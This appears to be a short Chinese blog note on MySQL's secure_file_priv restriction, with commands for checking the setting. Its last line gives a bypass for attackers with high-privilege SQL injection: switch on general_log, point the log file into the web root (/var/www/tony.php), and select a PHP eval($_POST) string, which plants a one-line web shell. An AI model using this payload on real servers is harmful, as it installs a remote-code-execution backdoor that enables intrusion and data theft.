高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限
secure_file_priv选项
1 | secure_file_priv |
查看secure_file_priv
1 | show global variables like '%secure%'; |
高权限注入遇到secure_file_priv
在mysql高版本的配置文件中默认没有secure_file_priv这个选项,但是你用SQL语句来查看secure_file_priv发现,没配置这个选项就是NULL,也就是说无法导出文件。
替代方法:
1 | set global general_log=on;set global general_log_file='/var/www/tony.php';select '<?php eval($_POST[tony]) ?>'; |